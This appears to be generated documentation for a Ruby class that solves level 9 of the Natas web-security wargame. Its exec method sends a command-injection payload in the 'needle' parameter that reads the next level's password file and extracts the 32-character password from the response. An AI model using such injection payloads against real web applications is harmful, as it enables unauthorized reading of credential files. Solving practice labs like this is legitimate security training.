class NatasLevel9

Level 9

Constants

LEVEL

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 298
def exec
  data = get(
    "/?#{URI.encode_www_form(
      {
        'needle' => "'' #{WEBPASS}/natas10;"
      }
    )}"
  ).body
  match = %r(Output:\n<pre>\n(\w{32})\n</pre>).match(data)
  not_found unless match
  found(match[1])
end